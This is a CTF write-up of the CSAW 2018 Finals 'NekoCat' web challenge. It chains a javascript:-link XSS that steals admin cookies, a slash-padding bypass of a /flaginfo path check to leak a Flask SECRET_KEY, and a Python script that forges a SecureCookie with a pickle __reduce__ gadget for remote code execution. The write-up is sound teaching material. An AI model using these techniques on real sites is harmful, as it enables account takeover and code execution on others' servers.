Tags: pickle xss rce python 


# Forward
This is a write-up for one of the web challenges (500 pts) at the CSAW CTF Finals 2018.

# Background
I participated under the team Mad [email protected], and represented the GreyHat club at Georgia Tech. This challenge involved leveraging XSS to obtain a secret key so you could create your own cookies and exploit an python pickle RCE to obtain the flag. It was a very challenging problem and I learned a lot solving it. I hope others will learn a lot as well reading this write-up.

# Challenge
> Flag is in /flag.txt
> http://web.chal.csaw.io:1003
> Files
> [flagon.zip](https://ctf.csaw.io/files/5d0977e48372db7e81cbf84752a4c511/flagon.zip)

The website is similar to twitter, where users can create and send posts about whatever they want, and everyone else can see them in one complete feed.


Looking at the zip, we see it's the complete source code of the website, and that it's running the Flask web framework. We see some interesting information in [flagon.py](https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/flagon/flagon.py):

SECRET_KEY = os.environ.get("FLAGON_SECRET_KEY", "")


class Request(BaseRequest):
def session(self):
data = self.cookies.get("session_data")
if not data:
return SecureCookie(secret_key=SECRET_KEY)
return SecureCookie.unserialize(data, SECRET_KEY)

# SecureCookie
The application has a `SECRET_KEY` that it uses to create SecureCookie's. The first thing we need to do is figure out how to get the `SECRET_KEY` so we can sign our own cookies. Once we can sign our own cookies, we can utilize an RCE to get the flag. Because SecureCookie uses [pickle](https://docs.python.org/3/library/pickle.html) by default for serialization, we can exploit the deserialization to execute python code. For more information about python pickle deserialization vulnerabilities, you can visit this [link](https://crowdshield.com/blog.php?name=exploiting-python-deserialization-vulnerabilities).

def flagoninfo(request):
if request.remote_addr != "":
return render_template("404.html")

info = {
"system": " ".join(os.uname()),
"env": str(os.environ)

return render_template("flaginfo.html", info_dict=info)

class Flagon(object):
def __init__(self, name):
self.name = name
self.url_map = Map([])

self.routes = {}
self.wsgi_app = SharedDataMiddleware(self.wsgi_app, {
'/static': os.path.join(os.getcwd(), 'static')

flaginfo_route = "/flaginfo"
self.routes[flaginfo_route] = flagoninfo
self.url_map.add(Rule(flaginfo_route, endpoint=flaginfo_route))
In order to get the value of SECRET_KEY, we have to be able to access http://web.chal.csaw.io:1003/flaginfo. Trying to directly access it returns a 404, which makes sense because according to the source code, we can only view the webpage if our ip address is `` or localhost. Obviously we aren't localhost, so we need to find a different approach.


In [app.py](https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/app.py), we see the following:

def report(request):
#: neko checks for naughtiness
#: neko likes links

This implies that there's some "admin" that automatically will click on any links we have in our post. With these type of problems, you normally want to exploit some type of XSS vulnerability so you can steal an admin's cookies. Normally with XSS vulnerability, you have to be able to inject some javascript into an html tag, but in this question we can only control a link. However, if we look at the csp, there's a way to achieve XSS with only a link:

def apply_csp(f):
def decorated_func(*args, **kwargs):
resp = f(*args, **kwargs)
csp = "; ".join([
"default-src 'self' 'unsafe-inline'",
"style-src " + " ".join(["'self'",
"font-src " + "use.fontawesome.com",
"script-src " + " ".join(["'unsafe-inline'",
"connect-src " + "*"
resp.headers["Content-Security-Policy"] = csp

return resp
return decorated_func

For `script-src`, we see that `unsafe-inline` is allowed. Looking at [this](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) link, it explains what `unsafe-inline` means:

Allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes.

We can use `javascript:` URLs to leverage XSS! A `javascript:` URL will allow us to execute javascript, so we can obtain the admin's cookies. For example if our url was this:


# Obtaining the admin's cookies
And the admin clicks on that link, then he would be redirected to www.google.com! Now we construct our own link to steal the admin's cookies. The payload is as follows:



RequestBin is a simple site to log HTTP requests, so we can use the service to log the request the admin makes when he clicks on the link, to steal his cookies. AFter creating our post, all we need to do is click on the report link and watch the magic happen.


We have successfully obtained the admin's cookies, but what do we do with this now? Also take note of the value of the `Referer` header:


The ip address is ``! This means the admin is running localhost, so we can abuse this to access `/flaginfo`! Looking at [app.py](https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/app.py) again:

def get_post_preview(url):
scheme, netloc, path, query, fragment = url_parse(url)

# No oranges allowed
if scheme != 'http' and scheme != 'https':
return None

if '..' in path:
return None

if path.startswith('/flaginfo'):
return None

r = requests.get(url, allow_redirects=False)
except Exception:
return None

soup = BeautifulSoup(r.text, 'html.parser')
if soup.body:
result = ''.join(soup.body.findAll(text=True)).strip()
result = ' '.join(result.split())
return result[:280]

return None
# Accessing /flaginfo and obtaining SECRET_KEY
Using the `get_post_preview` function, if the link is ``, then we can access the value of `SECRET_KEY`! However looking at the `newpost` function:

def newpost(request):
post = request.form.get('submission-text')
if (len(post) > 280):
return redirect('/')

preview = None
link = None

for word in post.split(' '):
if word.startswith('[link]'):
link = " ".join(word.split('[link]')[1:]).strip()
if verified_user(session, request.session.get('username'))[0]:
preview = get_post_preview(link)
link = link

post = post.replace('[link]', '')

add_post(session, request.session.get('username'), post, link, preview)

return redirect('/')

It seems we have to be a `verified_user` in order to use the `get_post_preview` function. Thankfully, the admin is a verified user! Using the admin's cookies we just stole, we can login as admin and then make a post with the `/flaginfo` link and obtain the value of `SECRET_KEY`. Using the cookie value we had before:


We can replace the current value of our `session_data` cookie with this value, and if we reload the page, we're logged in as the admin!


Now we create a post with `` and obtain the value of `SECRET_KEY`. Why are there 3 slashes instead of one in our URL? Because of this check:

if path.startswith('/flaginfo'):
return None

The `path` variable will contain the part of our URL after ``, therefore by injecting more slashes than one, we don't change the actual URL when it's resolved, but it will change the value of `path` when parsing our URL so we can bypass the check. (Theoretically 2 slashes should work, but for some reason I had success with 3 and not 2).

# Python pickle RCE to obtain flag
With our newly created post, we have obtained the value of `SECRET_KEY` as `superdupersecretflagonkey`. We can now sign our own cookies and do an RCE to get our flag. To generate the cookie, we will use this code (note the `username` is the username of the admin that we are logged in as, although it really doesn't matter):

import os
import subprocess

from werkzeug.contrib.securecookie import SecureCookie

class RCE(object):
def __reduce__(self):
return (subprocess.check_output, (['cat','flag.txt'],))

SECRET_KEY = 'superdupersecretflagonkey'

payload = {'name': RCE() , 'username': 'meow_cf665777'}

x = SecureCookie(payload, SECRET_KEY)

value = x.serialize()

We get the ouptut as:


Setting this as our new `session_data` cookie gets us the flag.



# Tips and Tricks
This is just a list of tips and tricks when trying to tackle web problems like this.

1. Based on the source code given, the website was hosted using Flask. This is a common Python web framework that's used it a lot of CTFs, and most challenges related to Flask have to do with the cookies, so that should be the first place to look.

2. Any challenge that involves some sort of "report" feature or "administrator" probably will involve XSS.

3. Similiarly if the Python pickle library is used, there's probably some RCE involved.

Original writeup (https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/README.md).